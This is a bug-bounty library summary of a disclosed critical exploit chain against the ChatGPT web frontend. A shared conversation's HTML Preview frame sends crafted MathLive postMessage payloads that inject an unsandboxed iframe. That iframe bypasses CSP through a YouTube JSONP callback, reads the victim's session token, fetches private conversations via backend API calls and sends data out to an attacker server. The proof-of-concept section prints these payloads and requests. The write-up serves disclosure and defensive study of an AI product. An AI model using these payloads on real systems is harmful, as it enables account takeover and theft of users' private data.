# Do the Math: How We Took Over ChatGPT Accounts

MathLive's unauthenticated postMessage listener in chatgpt.com accepted attacker HTML keyboard layouts, letting a shared conversation's Preview frame run JS as the victim and read private chats.

- Payout: $5,000
- Severity: critical
- Program: OpenAI
- Found by: @mohith808
- Disclosed: 2026-11-01
- Write-up quality: 9/10
- Original: https://www.parameter.ai/labs/we-found-a-gap-at-openai
- Library page: https://bugbountylibrary.com/r/blog%3Aparameter-ai-labs-we-found-a-gap-at-openai
- Tags: area:web domain:web impact:ato impact:data-leak kind:bounty platform:blog sev:critical tech:cdn technique:chained vuln:account-takeover vuln:auth-bypass vuln:xss

**Target:** ChatGPT web frontend (share pages, HTML Preview sandbox, MathLive virtual keyboard)
**Root cause:** MathLive's top-level message listener used an origin policy of 'none' and never validated event.source, so any frame could send an update-setting message whose layouts[].layers[].markup was raw HTML; createHTML was an identity Trusted Types wrapper, not a sanitizer, and the resulting innerHTML created an unsandboxed srcdoc iframe inheriting the chatgpt.com origin.
**Steps:**
1. Publish a public ChatGPT conversation containing a genuine interactive graph (loads MathLive and installs the vulnerable listener in the main page) plus an assistant-authored HTML Preview block marked previewable.
2. From the sandboxed Preview frame, send `top.postMessage({type:"mathlive#virtual-keyboard-message",action:"update-setting",layouts:[{label:"Compatibility",layers:[{id:"compatibility",markup}]}]},"*")` with markup containing `<iframe srcdoc="...">`.
3. Send `top.postMessage({type:"mathlive#virtual-keyboard-message",action:"show",animate:false},"*")` to trigger `keyboardContainer.innerHTML = MathfieldElement.createHTML(keyboardHTML)`.
4. Inside the srcdoc iframe (same-origin, unsandboxed), load a script via CSP-allowed YouTube JSONP: `https://www.youtube.com/oembed?callback=globalThis.__marker=31337;void` — the callback is reflected before validation error, and `;void` neutralizes the appended error object.
5. In the executing script, parse `#client-bootstrap` from the parent to get the access token and account ID, then call `GET /backend-api/conversations?exclude_conversation_origin=tpp&expand=false&is_archived=false&is_starred=false&limit=20&order=updated&offset=0` and `GET /backend-api/conversations/<id>?num_turns=2&include_has_versions=true` with `Authorization: Bearer <token>` and `ChatGPT-Account-ID`.
6. Exfiltrate a selected value via an image request to an attacker server; retry the two postMessages briefly to handle the MathLive load race.
**How found:** Asked what a sandboxed Preview frame could still talk to; noticed the graph loaded MathLive which installed a postMessage listener in the main page, hypothesized the receiver might not check sender, and confirmed the update-setting action accepted raw HTML markup rendered via innerHTML.
**Exploitation:** Attacker publishes a normal public share link and sends it to the victim; on open (one Preview click, or automatic when marked previewable), the Preview frame posts two MathLive messages that inject HTML into the main chatgpt.com page, creating an unsandboxed srcdoc iframe with chatgpt.com origin. The iframe loads attacker JS through YouTube's oEmbed JSONP (allowed by CSP), reads the session token from #client-bootstrap, enumerates the victim's conversations, fetches a private never-shared conversation, and exfiltrates data via an image request — effectively full account takeover of the authenticated frontend.
**Escalation:** Chained three independent weaknesses: cross-frame postMessage trust in MathLive, HTML injection into an unsandboxed srcdoc iframe inheriting the parent origin, and a CSP-allowed YouTube JSONP endpoint for script execution; then pivoted from an alert to authenticated backend-api calls for private data theft.
**Insight:** When a sandboxed frame coexists with third-party widgets on the same page, enumerate every postMessage listener those widgets install in the parent — math/editor/keyboard libraries often accept state-changing messages with origin policy 'none' and render supplied markup; then look for an unsandboxed srcdoc iframe to convert HTML injection into same-origin JS, and check CSP script-src for JSONP-capable CDNs.

## Proof of concept (copied exactly from the original report)

**postMessage payload replacing MathLive keyboard layout**

```
top.postMessage({
 type: "mathlive#virtual-keyboard-message",
 action: "update-setting",
 layouts: [{
 label: "Compatibility",
 layers: [{ id: "compatibility", markup }]
 }]
}, "*");

top.postMessage({
 type: "mathlive#virtual-keyboard-message",
 action: "show",
 animate: false
}, "*");
```

**YouTube oEmbed JSONP callback bypassing CSP**

```
https://www.youtube.com/oembed?callback=globalThis.__marker=31337;void

 parameter 

The response began like this:

// API callback
globalThis.__marker=31337;void({
 "error": {
 "code": 400,
```

**Authenticated API calls reading private conversations**

```
GET /backend-api/conversations?exclude_conversation_origin=tpp&expand=false&is_archived=false&is_starred=false&limit=20&order=updated&offset=0
GET /backend-api/conversations/<id>?num_turns=2&include_has_versions=true
```

